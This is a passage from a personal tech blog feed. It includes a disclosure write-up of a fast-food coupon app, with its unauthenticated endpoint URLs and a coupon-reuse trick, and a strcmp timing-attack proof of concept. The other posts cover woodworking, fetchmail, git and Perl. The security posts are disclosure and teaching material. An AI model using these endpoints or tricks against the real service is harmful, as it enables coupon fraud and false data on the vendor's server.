<span class="n">campaignUriBuilder</span><span class="p">.</span><span class="na">appendQueryParameter</span><span class="p">(</span><span class="s">"userId"</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="na">userId</span><span class="p">);</span>
<span class="n">String</span> <span class="n">url</span> <span class="o">=</span> <span class="n">campaignUriBuilder</span><span class="p">.</span><span class="na">build</span><span class="p">().</span><span class="na">toString</span><span class="p">();</span>
<span class="n">Log</span><span class="p">.</span><span class="na">m17i</span><span class="p">(</span><span class="s">"URL "</span> <span class="o">+</span> <span class="n">url</span><span class="p">);</span>
<span class="k">return</span> <span class="p">(</span><span class="n">UsedDealResponse</span><span class="p">)</span> <span class="n">getRestTemplate</span><span class="p">().</span><span class="na">getForObject</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">UsedDealResponse</span><span class="p">.</span><span class="na">class</span><span class="p">,</span> <span class="k">new</span> <span class="n">Object</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<p>and where <code>userId</code> seems to come from</p>
<div class="highlight"><pre><span></span> <span class="kd">public</span> <span class="nf">UseDealsRequest</span><span class="p">(</span><span class="n">String</span> <span class="n">userId</span><span class="p">,</span> <span class="n">String</span> <span class="n">pageId</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">super</span><span class="p">(</span><span class="n">UsedDealResponse</span><span class="p">.</span><span class="na">class</span><span class="p">);</span>
<span class="k">this</span><span class="p">.</span><span class="na">userId</span> <span class="o">=</span> <span class="n">md5</span><span class="p">(</span><span class="n">userId</span><span class="p">);</span>
<span class="n">Log</span><span class="p">.</span><span class="na">m17i</span><span class="p">(</span><span class="s">"MD5 "</span> <span class="o">+</span> <span class="k">this</span><span class="p">.</span><span class="na">userId</span><span class="p">);</span>
<span class="k">this</span><span class="p">.</span><span class="na">pageId</span> <span class="o">=</span> <span class="n">pageId</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<p>There we have it, the <code>userId</code> is a <code>MD5</code> sum of something. After some fiddling
I understood that is comes from the string if you used email when logging into
the app. I guess it would be slightly different when using Facebook or Google
login.</p>
<div class="highlight"><pre><span></span> md5<span class="o">(</span><span class="s2">"email_foo.bar@moo.com"</span><span class="o">)</span> <span class="o">=</span> 410daeeb1b350a86defb583e08ebbf15
</pre></div>
<p>So, let's recap:</p>
<ul>
<li>The app queries the server on start.</li>
<li>The app sends a <code>consumeCoupon</code> message to the server when using a coupon,
but instead of plain email it is using the <code>MD5</code> of the string "<code>email_...</code>" as
the <code>userId</code>.</li>
</ul>
<p><br></p>
<h1>Re-use a coupon?</h1>
<p>I wondered how they protected against using a coupon more than once. I searched
the decompiled code for other <code>requestType</code>. But I couldn't find anything
indicating that it was possible to revert a used coupon (server side). But at
the same time, I've noticed that the app uses the email string when starting
the app, but using an <code>MD5</code> sum of the app when using a coupon. Something
doesn't seem right here. Calling:</p>
<div class="highlight"><pre><span></span>http://www.sibylla.se/ui/services/CampaignService.ashx?requestType<span class="o">=</span>getAllCouponsForUser<span class="p">&</span><span class="nv">userId</span><span class="o">=</span>email_foo.bar@moo.com
</pre></div>
<p>and</p>
<div class="highlight"><pre><span></span>http://www.sibylla.se/ui/services/CampaignService.ashx?requestType<span class="o">=</span>getAllCouponsForUser<span class="p">&</span><span class="nv">userId</span><span class="o">=</span>410daeeb1b350a86defb583e08ebbf15
</pre></div>
<p>gives different result. The former tells you that no coupon has been used, but
the latter will indeed tell you that the ones you've used up indeed are marked
as <code>consumed: true</code>. So, how can the app know that a coupon has been used?
Could it be stored locally? Said and done, I cleared the Sibylla apps data and
cache. Restarted the app, logged in with the same email and voilá, the app
tells me that the coupon hasn't been used. This must mean that the app is
indeed storing data locally.</p>
<h1>Reflections</h1>
<p>I guess a company like Sibylla probably doesn't care too much about this. Since
in the end they're probably happy as long as they sell their fast food and they
probably makes a nice profit even when their customers are using a discount
code or something similar. But, since they walked the extra mile of letting
someone create an app like this, I guess there is some interest of having e
genuine app behaving as expected. There are mainly three things that seems
wrong here:</p>
<ul>
<li>The app stores data at a server, but the app doesn't seem to make use of this
information. I cannot say whether that is a bug due to using a plain string
when starting the app and using the <code>MD5</code> of the string when using a coupon or
if all this is intentional and the server part is just there for statistics for
Sibylla marketing.</li>
<li>It is possible to re-use coupons by just clear the data/cache for the app.</li>
<li>Since there is no authentication, it is possible to exploit and put false
information at their server, by just use any combination with <code>userId/pageId</code>.</li>
</ul>
<p><br></p>
<h1>What could and should be done?</h1>
<ul>
<li>The app should use <code>HTTPS</code> instead of plain <code>HTTP</code>. If that would have been
the case, then this would never caught my attention.</li>
<li>The email used then logging into the app should be authenticated.</li>
<li>The server should only accept requests from authenticated users.</li>
<li>The app should use the data from the server to decide whether a user already
has used a coupon or not.</li>
</ul>
<p>This doesn't seem like a super serious issue, but I've given Sibylla knowledge
about it 2018-08-19 and as common practice I'll give them a 90 days to fix the
issues I've found. I.e., somewhere after the 17th November 2018 I'll publish
this article on my site.</p>AEG TS 250 K - Table Saw2015-03-11T20:47:16+01:002018-08-18T00:00:00+02:00Joakim Bechtag:jyx.github.io,2015-03-11:/aeg-ts-250-k-table-saw.html<p><img alt="TS 250 K logo" src="https://jyx.github.io/images/ts250k/ts_logo.jpg" align="right">
Last year we built a workshop/shed/depot. Since I planned to build a lot of
stuff (in wood) I decided to buy a table saw. My criteria was that it should be
portable and rather easy to put aside when not in use. I'm new to woodworking so
I didn't have any experience and therefore it was a bit hard to know exactly
what to look for when buying a table saw. After looking around a little bit my …</p><p><img alt="TS 250 K logo" src="https://jyx.github.io/images/ts250k/ts_logo.jpg" align="right">
Last year we built a workshop/shed/depot. Since I planned to build a lot of
stuff (in wood) I decided to buy a table saw. My criteria was that it should be
portable and rather easy to put aside when not in use. I'm new to woodworking so
I didn't have any experience and therefore it was a bit hard to know exactly
what to look for when buying a table saw. After looking around a little bit my
choice fell on the table saw from AEG called <a href="http://www.aeg-powertools.eu/woodworking/ts-250-k/ts-250-k/">AEG TS 250 K</a>.
This was a chance I took, since I couldn't really find any good review for this
table saw on the net. The table saw itself comes with foldable stand, a 254mm
saw blade which is capable of cutting 90mm in 90 degree cuts and 62 mm at 45
degree cuts. It has soft start and the fence looked quite good. So on paper this
seems like a quite good table ... and it is, but there are some quirks.</p>
<p>The last couple of months I've read an endless amount of woodworking pages on
the net and I've also watched a substantial amount of woodworking clips on
YouTube, so by now I think I have a pretty good understanding of cross cut
sleds, router fences, drill press tables, cyclone dust collectors etc, you name
it! Quite early on I realized that a cross cut sled would be quite useful. With
a cross cut sled you can get very accurate 90 degree cuts, you can easily
incorporate stop blocks etc and due to this I could most likely also put my
miter saw somewhere so it doesn't occupy my valuable space in the workshop.
Ideally I'd like to have all tools ready to be used, but I simply don't have
that much space. Anyhow, cross cut sled is a key thing to make.</p>
<h1>Ingredients for a cross cut sled</h1>
<ul>
<li>12-18mm thick plywood, MDF or something similar that is hard enough to use for
the sled base.</li>
<li>Sled runners made from hardwood (oak, maple, beech etc).</li>
<li>And some straight pieces of wood for the front and back fence.</li>
<li>Preferable a routed slot for mounting a t-slot on the back fence.</li>
</ul>
<p>In principle that's it, sounds simple? It is quite simple, or I should say, it
<em>should</em> be quite simple.</p>
<h1>Cutting the sled base</h1>
<p>Since it's a bit messy in the workshop right now and my plywood sheet was full
size (<code>2450 x 1200</code>mm) I had to use another saw, my track saw, that is a cheap
copy of <a href="http://www.festoolusa.com/power-tools/track-saws/ts-55-req-plunge-cut-track-saw-561556">Festools' TS 55 REQ Track Saw</a>.
It did a good job, so here I didn't really use the AEG table saw. In any case
even if you have the space to handle a full sheet of plywood I think it's pretty
hard to maneuver such a big piece on a table saw that small.</p>
<h1>Cutting the sled runners</h1>
<p>The sled runners are the strips of hardwood (preferable) that you put in the
slots in the table saw base. I.e, these are the ones that guides the sled base
when moving it back and forth when cutting your wood pieces.</p>
<h2>Problem 1 - no standard miter slots!</h2>
<p>The miter gauge slots on AES TS 250 K are no standard slots! They are almost
19mm wide, but only 6mm deep. What makes this even worse is that the slots
themselves are not really squared. In the bottom, in the middle of the slot,
there is a stripe that is very thin, but still big enough that it makes the slot
non-flat. I guess the intention is to take care of the tiny dust that falls into
the slots that in some cases prevents miter gauges etc so slide easily.</p>
<p><img alt="Mitre slots" src="https://jyx.github.io/images/ts250k/ts_mitre_slots.jpg" width="760" align="middle"></p>
<p>Also at the top, the last 1-2mm of the slot are rounded, which effectively means
that you only have straight side "walls" in the slot that are about 4mm. So, you
don't have much material in the slot when you want to tighten sled runners. On
top of this bad design choice, AEG decided to make three tabs, which I call
"inverted t-slots" see the image above and below and you will understand what
I'm talking about.</p>
<p><img alt="Mitre slots closeup" src="https://jyx.github.io/images/ts250k/ts_mitre_slot_closeup.jpg" align="middle" width="760"></p>
<p>The idea behind this "genius" design is to support the included miter gauge,
which by the way is a piece of crap. There is at least 1mm play when using the
included miter gauge in the slots, which means that it is totally impossible to
get accurate cuts using this gauge regardless how you try to adjust it. The
height of the inverted t-slots are roughly 2-3mm, which leads to you only have
3-4mm between them and the bottom of the miter slot.</p>
<p><img alt="Mitre gauge gap" src="https://jyx.github.io/images/ts250k/ts_mitre_gauge_gap.jpg" align="middle" width="760"></p>
<p><img alt="Mitre gauge gap 2" src="https://jyx.github.io/images/ts250k/ts_mitre_gauge_gap2.jpg" align="middle" width="760"></p>
<p>Anyhow, I have also been able to make a quite good router table with a router
fence and micro adjustment capabilities for my router, which means that in
theory, I should be able to route 1mm wide and 3mm deep slots on the side of my
sled runners. But first I needed to do a rough cut of my oak piece that I
intended to use as sled runners in my miter slots.</p>
<h2>Problem 2 - sloppy, non flat table saw insert</h2>
<p>The <a href="https://www.google.se/#q=table+saw+insert">insert</a> is made out of thin
plastic and seems quite fragile. Also it's made so you should be able to do 45
degree cuts without having the blade nudging the insert. This is good ... and
bad. It's bad because you cannot cut thin strips, since if you try to do this,
they will simply fall down into the table saw in this rather big hole. Another
thing with this insert that it's not dead flat with the top of the table saw,
which means that thin pieces could tilt a little bit and as an end result you
will get non squared cuts.</p>
<p><img alt="Stock insert" src="https://jyx.github.io/images/ts250k/ts_default_insert.jpg" align="middle" width="760">
<img alt="Insert with bad height" src="https://jyx.github.io/images/ts250k/ts_insert_bad_height.jpg" align="middle" width="760">
<img alt="Zero insert" src="https://jyx.github.io/images/ts250k/ts_zero_insert.jpg" align="middle" width="760"></p>
<p>As seen in the image above, my solution to this problem was to simply create a
new zero play insert made out of plywood instead. It took an hour or so to make
it fit and get the correct height. When that was done I could go back working
on my oak sled runners.</p>
<h2>Problem 3 - hard to make straight cuts using the fence</h2>
<p>I still haven't been able to figure out why I cannot make complete straight
cuts. I think it's because of a couple of different reasons. First reason is
probably because I'm a beginner, secondly it seems like the table saw fence have
some play before tightening it and lastly I'm pretty sure that the blade isn't
square to either the slots and/or the fence, more on that later.</p>
<p>Anyhow, I managed to get the strips to a fairly good size and I also managed to
route the tiny "slots" for the inverted t-slots. So far so good.
<img alt="Oak sled runners" src="https://jyx.github.io/images/ts250k/ts_oak_runners.jpg" align="middle" width="760"></p>
<h1>Mounting the sled runners on the sled base</h1>
<p>This is pretty straight forward, put the runners in the slots, put the sled base
on top of them and the table saw table. Use some screws and/or glue to put them
together. I did that and after doing so I noticed that I barely could move my
sled. So, what was wrong? After some investigation I realized that my sled
runners was a bit too thick in some areas of the slots. So after some fine
tuning and moving the sled back and forth it started to move a little smoother
(but still not as good as I wanted it to be).</p>
<p>Side note: Later on when creating another sled I realized that the stupid
inverted t-slots are not the same size. Some of them are bigger than others.
After some sanding on the inverted t-slots, directly on the aluminium (both the
height and the width), to make them more equal, things are suddenly running even
more smoothly now.</p>
<h2>Problem 4 - saw blade and slots are not parallel</h2>
<p>The rest of the cross cut sled build was pretty straight forward, just "Google"
"how to make a cross cut sled" and you will find several guides of how to do it.
I did walk the extra mile and were using the <a href="https://youtu.be/UbG-n--LFgQ">5 cut method</a>
to get the back fence of the sled (almost) perfectly perpendicular to the cut.
Note that I'm saying "the cut", because the cut is not perpendicular to the
table saw blade (see image below). My take is that the table saw slots are not
parallel with the table saw blade. I doesn't really matter when using a cross
cut sled, it's just that the cut will be a little bit wider than the kerf of the
saw blade. However I would prefer having the sleds parallel.</p>
<p><img alt="Unaligned blade" src="https://jyx.github.io/images/ts250k/ts_blade_unaligned.jpg" width="760"></p>
<h1>Other things that a potential buyer has to be aware of</h1>
<h2>The Table Top</h2>
<p>The top of the table is made out of aluminium and the surface is a little bit
rough. It's not a big problem, but you have to be aware of that you cannot use
magnetic tools like the ones used together with a dial indicator. I also don't
think it's very common to have an iron surface on portable table top saws.</p>
<h2>The Riving knife</h2>
<p><img alt="Riving knife height" src="https://jyx.github.io/images/ts250k/ts_riving_height.jpg" align="right" width="399"></p>
<p>The riving knife is quite big and follows the saw blade when you raise and lower
your saw blade. That is really good. The downside is that the riving knife also
goes above the saw blade which means that you cannot cut grooves/slots when
having the riving knife mounted. You <em>cannot</em> adjust this. Either the riving
knife is mounted or it has to be removed. Since I'm really concerned about
safety when it comes to using my table saw, my plan is to cut the riving knife
so it stays just below the height of the saw blade (see the image above).
However by doing so I cannot mount the dust collector / kickback protection
again. This is not a big deal for me, since that is to big and bulky anyway and
having a riving knife is the critical thing to have mounted to prevent kickback.</p>
<p>The riving knife doesn't come with any quick mount. To remove it you need to
first remove the insert and then you need to unscrew the two hex bolts that
tightens the riving knife. It would be nice if it had the same type of quick
mount that you can find on other table saws.</p>
<p><img alt="Riving knife mount" src="https://jyx.github.io/images/ts250k/ts_riving_mount.jpg" width="760"></p>
<h1>AEG support</h1>
<p>Since I planned to modify my riving knife I wanted to ask AEG if and where I
could buy another riving knife, so that I could have one modified riving knife
and one that is as when I bought the saw. I think I've tried to contact them 2
or 3 times using the "Contact US" link on table saw page. However without
success, I haven't seen any response at all. This is bad AEG!</p>
<h1>Summary</h1>
<h2>Pros</h2>
<ul>
<li>Rather cheap table saw, I bought it when they had some kind of campaign and
without shipping it costed, I think 3995:- SEK which is roughly USD $460 with
todays exchange rate. Normally it's a little bit more expensive.</li>
<li>Well built. It feels sturdy.</li>
<li>Quite good cutting depth, 90mm for straight cuts and 62mm for 45 degree cuts
is quite good.</li>
<li>Integrated table side extension up to 645 mm.</li>
<li>Makes quite clean cuts.</li>
<li>Soft start: Nice to have even though not necessary.</li>
<li>Foldable stand which is very easy to use.</li>
</ul>
<p><br></p>
<h2>Cons</h2>
<ul>
<li>Hard to make perfect straight cuts using the fence.</li>
<li>The miter gauge slots in the table is a joke. Why the heck didn't they go for
standard 3/4" (wide) x 3/8" (deep) miter gauge slots?</li>
<li>The included miter gauge is just crap.</li>
<li>Riving knife is too high.</li>
<li>No quick mount/release of the riving knife. It's mounted using normal
hex-bolts.</li>
<li>The insert is not so well made and this is also a non-standard format, which
means that you cannot buy standards inserts, which you otherwise easily can
buy from eBay or woodworking shops.</li>
<li>AEG support doesn't answer when using the "<a href="http://www.aeg-powertools.eu/header/contact-us/">Contact US</a>" page on their site.</li>
</ul>
<p><br></p>
<h2>Is it worth buying?</h2>
<p>If you're a beginner and plan to mainly use it to rip wood and doesn't care too
much about accuracy, then I think this is a good table saw. However, if you are
more into accuracy and care about micrometer instead of millimeter and if you
plan to use various tools attached to the slots, then I'd not recommend you to
buy this table saw. It's simply too much hassle to create and or modify existing
runners to make them usable. For me it is working now after the tweaks I've
done. But if I would have known what I know now I would have looked for another
table saw instead, like <a href="http://www.bosch-professional.com/gb/en/gts-10-xc-26179-ocs-p/">GTS 10 XC Professional</a>,
<a href="http://www.amazon.com/DEWALT-DW744XRS-10-inch-Table-Rolling/dp/B0014GD3HQ">Dewalt DW744XRS</a> or <a href="http://www.amazon.com/DEWALT-DW745-10-Inch-Job-Site-Capacity/dp/B000HXT2N6">DEWALT DW745</a>.</p>
<p>I hope this review was useful, in case you have questions, please use the
comment field below and I'll try to answer your questions.</p>
<p><strong>EDIT</strong> 2016: I've sold this table saw and I did end up buying a Dewalt DW745 instead.</p>
<p>// Joakim</p>Fetchmail and GnuPG2014-11-01T23:02:03+01:002018-08-18T00:00:00+02:00Joakim Bechtag:jyx.github.io,2014-11-01:/fetchmail-and-gnupg.html<p>When using <a href="http://en.wikipedia.org/wiki/Internet_Message_Access_Protocol">imap</a>
in <a href="http://en.wikipedia.org/wiki/Mutt_(email_client)">mutt</a> you have the
possibility to use <code>gpg</code> to decrypt your password instead of having it as
plaintext in your configuration file (<code>.muttrc</code>), see
<a href="https://wiki.archlinux.org/index.php/Mutt#Passwords_management">ArchWiki</a> how
to do that.</p>
<p>However, if you consider using <code>POP3</code>, then you will also need to install and
enable <a href="http://msmtp.sourceforge.net">msmtp</a> (not strictly needed),
<a href="http://www.fetchmail.info">fetchmail</a> and
<a href="http://www.procmail.org">procmail</a>. Ubuntu have created a quite nice
<a href="https://help.ubuntu.com/community/MuttAndGmail">guide</a> of
the steps involved.</p>
<p>Just as <code>mutt</code> also <code>msmtp</code> have the possibility to use <code>gpg</code> in runtime instead …</p><p>When using <a href="http://en.wikipedia.org/wiki/Internet_Message_Access_Protocol">imap</a>
in <a href="http://en.wikipedia.org/wiki/Mutt_(email_client)">mutt</a> you have the
possibility to use <code>gpg</code> to decrypt your password instead of having it as
plaintext in your configuration file (<code>.muttrc</code>), see
<a href="https://wiki.archlinux.org/index.php/Mutt#Passwords_management">ArchWiki</a> how
to do that.</p>
<p>However, if you consider using <code>POP3</code>, then you will also need to install and
enable <a href="http://msmtp.sourceforge.net">msmtp</a> (not strictly needed),
<a href="http://www.fetchmail.info">fetchmail</a> and
<a href="http://www.procmail.org">procmail</a>. Ubuntu have created a quite nice
<a href="https://help.ubuntu.com/community/MuttAndGmail">guide</a> of
the steps involved.</p>
<p>Just as <code>mutt</code> also <code>msmtp</code> have the possibility to use <code>gpg</code> in runtime instead
of having the password stored in plaintext. The way to do that in <code>msmtp</code> is to
put a line mention <code>gpg</code> in your <code>$HOME/.msmtprc file</code>.</p>
<div class="highlight"><pre><span></span>passwordeval <span class="s2">"gpg --quiet --for-your-eyes-only --no-tty --decrypt ~/.msmtp-gmail.gpg"</span>
</pre></div>
<p>However, <code>fetchmail</code> doesn't have the same option. So, <code>mutt</code> and <code>msmtp</code> is
fine, but you still have to put your password in a cleartext file when
configuring <code>fetchmail</code>. Clearly there must be a better way to handle this? I
downloaded the source code
(<a href="http://sourceforge.net/projects/fetchmail/files/branch_6.3/fetchmail-6.3.26.tar.xz/download">fetchmail-6.3.26</a>)
and did a quick and dirty hack. I just modified the main function in the file
<code>fetchmail.c</code>, so that instead of having to provide the password on command line
(when password is not set in <code>$HOME/.fetchmailrc</code>) it makes use of <code>gpg</code> similar to how
both mutt and <code>msmtp</code> does. It isn't pretty ... but it works (tested on Arch Linux
on a Raspberry PI). To try it out, use the same <code>gpg</code> encrypted file as you use
for <code>msmtp</code>, i.e, <code>$HOME/msmtp-gmail.gpg</code> and patch <code>fetchmail</code> using this patch and
rebuild.</p>
<h1>Source</h1>
<ul>
<li><a href="/downloads/patch/fetchmail_gpg.patch">fetchmail_gpg.patch</a></li>
</ul>Timing Attack - Proof of Concept2014-02-02T10:38:37+01:002018-08-18T00:00:00+02:00Joakim Bechtag:jyx.github.io,2014-02-02:/timing-attack-proof-of-concept.html<p>You might have heard about timing attacks, but either thought it sounded
too complicated to understand or that it is too complicated to actually do such
an attack. In this post I'm going to give a brief overview of a timing attack
and also provide some example code that you can play with on your own. Hopefully
after reading this post you will understand that you cannot neglect this if you
are creating a system where security is needed.</p>
<h1>What …</h1><p>You might have heard about timing attacks, but either thought it sounded
too complicated to understand or that it is too complicated to actually do such
an attack. In this post I'm going to give a brief overview of a timing attack
and also provide some example code that you can play with on your own. Hopefully
after reading this post you will understand that you cannot neglect this if you
are creating a system where security is needed.</p>
<h1>What is a timing attack</h1>
<p>A <a href="http://en.wikipedia.org/wiki/Timing_attack">timing attack</a> is a so called
<a href="http://en.wikipedia.org/wiki/Side_channel_attack">side channel attack</a>
where you analyze the timing information on a system is such a way that it
allows to break the protection of the system or a program running on it.</p>
<h1>How is a timing attack performed?</h1>
<p>Typically you need to measure the amount of time needed to do operations of some
kind. You can do this in several ways, for example you could hook up a set of
probes on a chip or a PCB and watch the result on an oscilloscope or a logical
analyzer. Another option is to simply leverage features from the
CPU/architecture itself. On a normal PC running Intel (or AMD) you can use the
time stamp counter <a href="http://en.wikipedia.org/wiki/Time_Stamp_Counter">rdtsc</a>
or a High Precision Event Timer
<a href="http://en.wikipedia.org/wiki/High_Precision_Event_Timer">hpet</a>. Be aware that
the time stamp counter isn't reliable any longer, since process speeds can
change (due to power management), you have context switches etc. But just for
testing it can be good enough.</p>
<p>So you have found a way of taking time measures, what next? The easy answer is,
start measure the execution time of sensitive functions. For example when
calling functions that verifies password, functions that does encryption and
such. Measuring the time needed for <code>strcmp</code> as exemplified in the proof of
concept code below is easy. It becomes more complicated if you want to do the
same when doing
<a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard#Side-channel_attacks">AES</a>
encryption for example. It is still doable, but you also need to know the
algorithm to know where to look and how to interpret the leaked information.</p>
<h1>Countermeasures</h1>
<p>Main idea is that you need balance the string compare functions so that it
always takes the same amount of time to perform.</p>
<h1>Proof of concept</h1>
<p>I have put together a small proof of concept / testing program to show that it
is actually not that complicated to do a timing attack. It is unlikely that it
is as easy as this, but still, it gives the idea and shows that you can
actually use timing to guess password, guesses that are fairly good. The main
idea is to show how execution time actually varies when doing string
comparison. The by using this information leakage we show that we can guess
pretty good what we believe the correct character is in the correct
password/string.</p>
<h1>The algorithm</h1>
<ol>
<li>
<p>Loop over all characters, one by one in the string that we want to check
(<code>thisisalongstring</code> in this case).</p>
</li>
<li>
<p>For every character in the string, do an inner loop, where you are looping
from <code>'a'</code> to <code>'z'</code>. For every call to the string comparison function record
the amount of time it took. The letter that had longest execution time is
most likely the correct character. Hence save that character in the in the
array that contains guessed character.</p>
</li>
<li>
<p>Lastly compare the correct string with guessed string to see if we got all
timing based guesses correct or not.</p>
</li>
</ol>
<h2>Results</h2>
<p>Here are the test result of a test run with debug information enabled</p>
<div class="highlight"><pre><span></span>$ make <span class="nv">DEBUG</span><span class="o">=</span><span class="m">1</span>
$ ./main <span class="m">10</span>
Shows a couple of examples of the <span class="nb">time</span> it takes to make string comparison
avg <span class="nb">time</span> long string <span class="o">(</span>thisisalongstring<span class="o">)</span>: <span class="m">821</span>
avg <span class="nb">time</span> short string <span class="o">(</span>foo<span class="o">)</span>: <span class="m">532</span>
avg <span class="nb">time</span> <span class="m">0</span> char correct <span class="o">(</span>XXX/foo<span class="o">)</span>: <span class="m">486</span>
avg <span class="nb">time</span> <span class="m">1</span> char correct <span class="o">(</span>fXX/foo<span class="o">)</span>: <span class="m">495</span>
avg <span class="nb">time</span> <span class="m">2</span> char correct <span class="o">(</span>foX/foo<span class="o">)</span>: <span class="m">540</span>
avg <span class="nb">time</span> <span class="m">3</span> char correct <span class="o">(</span>foo/foo<span class="o">)</span>: <span class="m">561</span>
Guessed that pw should be: thisisalongshring
Guessed that pw should be: thisisalongstring
Guessed that pw should be: thisisalongstring
Guessed that pw should be: thhbisalongstring
Guessed that pw should be: thisisalongstring
Guessed that pw should be: thisisalongstring
Guessed that pw should be: thisisalongstring
Guessed that pw should be: thisisalongstring
Guessed that pw should be: thisimalongstrimf
Guessed that pw should be: thisisalongstrhng
<span class="m">6</span> successful timing attacks
</pre></div>
<p>The figures will vary, but they are almost always in the same region. Looking
at:</p>
<p><strong>Line 3</strong>: we can see that it takes <code>821</code> time units for a full and correct string
compare of the string <code>thisisalongstring</code>.</p>
<p><strong>Line 4</strong>: we can see that it takes <code>532</code> time units to correctly match the
string <code>foo</code>.</p>
<p><strong>Line 5-8</strong>: for every test run, we add a correct matching character and as
expected we can see that the time increases for every correct character. This
is because the string compare function as said before has a timing linear to
the correct number of characters.</p>
<p><strong>Line 9-19</strong>: shows the result when trying to guess the string
<code>thisisalongstring</code> based on the time it takes to guess <code>'a'</code>, <code>'b'</code>, <code>'c'</code>,
... <code>'z'</code>, for every character. This particular run we guessed correct 6 out or
10 times. Not that bad, it takes roughly 0.002 seconds to run everything above.
According to Steve Gibson's <a href="https://www.grc.com/haystack.htm">Password Haystack</a>
page, it takes approximately 3.75 centuries to brute force that password
<strong>once</strong> using a what he calls a "massive cracking array scenario (assuming one
hundred trillion guesses per second)".</p>
<h1>A couple of interesting things I've noticed</h1>
<ul>
<li>If I increase the <code>TEST_LOOPS</code> define I actually get much worse result?</li>
<li>If I turn on all optimizations, i.e. <code>-O3</code>, it doesn't work at all.</li>
<li>The last character was always incorrectly guessed and that is the reason why
I've added a space at the end of the string '<code>thisisalongstring</code>', which I
later on strip away. I believe the reason for this problem is inaccuracy
using <code>rdtsc</code>.</li>
</ul>
<p>If any reader of this post knows the answer to my reflections above, please
leave a comment.</p>
<h1>Source code</h1>
<ul>
<li><a href="/downloads/timing/time_attack_strcmp.c">time_attack_strcmp.c</a></li>
<li><a href="/downloads/timing/Makefile">Makefile</a></li>
</ul>Apply patches in Git2012-03-09T00:16:48+01:002018-08-18T00:00:00+02:00Joakim Bechtag:jyx.github.io,2012-03-09:/apply-patches-in-git.html<p><img alt="git logo" src="https://jyx.github.io/images/git/logo_git.gif" align="right">
A common task for a developer has is to apply a patch in Git. I have a simple
scheme that I've been using for a long time and it is very seldom that I get
into problem nowadays when I'm doing patch work.</p>
<h1>The short version for the impatient</h1>
<div class="highlight"><pre><span></span>$ git am < my_new_feature.patch
$ git apply --reject --whitespace<span class="o">=</span>fix my_new_feature.patch
$ git status
$ vim my_conflicting_file.c*
$ find . -name <span class="s2">"*.rej"</span> -exec rm -f <span class="o">{}</span> <span class="se">\;</span>
$ git add .
$ git am --resolved
</pre></div>
<h1>Long version for the …</h1><p><img alt="git logo" src="https://jyx.github.io/images/git/logo_git.gif" align="right">
A common task for a developer has is to apply a patch in Git. I have a simple
scheme that I've been using for a long time and it is very seldom that I get
into problem nowadays when I'm doing patch work.</p>
<h1>The short version for the impatient</h1>
<div class="highlight"><pre><span></span>$ git am < my_new_feature.patch
$ git apply --reject --whitespace<span class="o">=</span>fix my_new_feature.patch
$ git status
$ vim my_conflicting_file.c*
$ find . -name <span class="s2">"*.rej"</span> -exec rm -f <span class="o">{}</span> <span class="se">\;</span>
$ git add .
$ git am --resolved
</pre></div>
<h1>Long version for the one needing explanations to the steps</h1>
<p>To start with I always first try applying the patch with git am, i.e.</p>
<div class="highlight"><pre><span></span>$ git am < my_new_feature.patch
</pre></div>
<p>Sometimes this is enough and the patch simply applies, however when it fails to
apply I just continue writing.</p>
<div class="highlight"><pre><span></span>$ git apply --reject --whitespace<span class="o">=</span>fix my_new_feature.patch
</pre></div>
<p>This will force Git to apply as much as it can and for the rest of the hunks
that it cannot merge it will produce files ending with .rej. So the next step I
do after git apply is just to run</p>
<div class="highlight"><pre><span></span>$ git status
</pre></div>
<p>And notice the untracked files ending in .rej. Now I know what files Git
couldn't merge when applying the patch, so let's say that I have a file called
my_conflicting_file.c which Git couldn't merge. To solve this I open it in my
favorite editor by doing like this:</p>
<div class="highlight"><pre><span></span>$ vim my_conflicting_file.c*
</pre></div>
<p>This will open both my_conflicting_file.c and my_conflicting_file.c.rej. I will
split the window in vim (CTRL+W V), and then open the other file by typing :bp
in vim. Now it is up to you as a developer to decicde what changes in the <em>.rej
file should go into the conflicting file. I.e, what changes in
my_conflicting_file.c.rej, should be in my_conflicting_file.c. Sometimes you
will notice that you don't have to change anything at all and sometimes you will
notice that you have to add or remove lines in the conflicting file. Don't
forget to remove the + and/or - at the start of the lines in the </em>.rej file!
When this step is done I delete all the *.rej files and then add the changes
files to the index in Git. I.e:</p>
<div class="highlight"><pre><span></span>$ find . -name <span class="s2">"*.rej"</span> -exec rm -f <span class="o">{}</span> <span class="se">\;</span>
$ git add .
</pre></div>
<p>The last step you have to do before the patch have been merged is to tell git
that the "am" that you started have been resolved.</p>
<div class="highlight"><pre><span></span>$ git am --resolved
</pre></div>
<p>Patch work done! If you follow this scheme I'm pretty sure that you will do fine
in the future when applying patches.</p>Perl pack and unpack2012-03-04T00:15:48+01:002018-08-18T00:00:00+02:00Joakim Bechtag:jyx.github.io,2012-03-04:/perl-pack-and-unpack.html<p><img alt="Perl logo" src="https://jyx.github.io/images/perlpap/logo_perl.jpg" align="right">
When you have to read and write binary data using Perl, then you preferably use
the built in functions pack and unpack. With the pack function you will create
a string which will be different depending on what kind of template you provide
to the pack function (the unpack does the same, but in the opposite direction).</p>
<p>I was writing a simple Perl script that was reading a binary file which
contained data that originated from a c <code>struct</code>. I …</p><p><img alt="Perl logo" src="https://jyx.github.io/images/perlpap/logo_perl.jpg" align="right">
When you have to read and write binary data using Perl, then you preferably use
the built in functions pack and unpack. With the pack function you will create
a string which will be different depending on what kind of template you provide
to the pack function (the unpack does the same, but in the opposite direction).</p>
<p>I was writing a simple Perl script that was reading a binary file which
contained data that originated from a c <code>struct</code>. I.e., I wanted to parse the
binary file and print what the values would be if the binary file was read into
the c struct.</p>
<p>Let's say that the struct is on the format:</p>
<div class="highlight"><pre><span></span><span class="k">struct</span> <span class="n">binary_data</span> <span class="p">{</span>
<span class="kt">uint32_t</span> <span class="n">a</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">b</span><span class="p">;</span>
<span class="kt">uint8_t</span> <span class="n">c</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<p>I.e, we have data consisting of 4 bytes of <code>a</code>, 4 bytes of <code>b</code> and 1 byte of
<code>c</code>. Let us say that the binary files consist of the following values</p>
<div class="highlight"><pre><span></span><span class="err">a = 196 dec (0xC4 hex)</span>
<span class="err">b = 4293844428 dec (0xFFEEDDCC hex)</span>
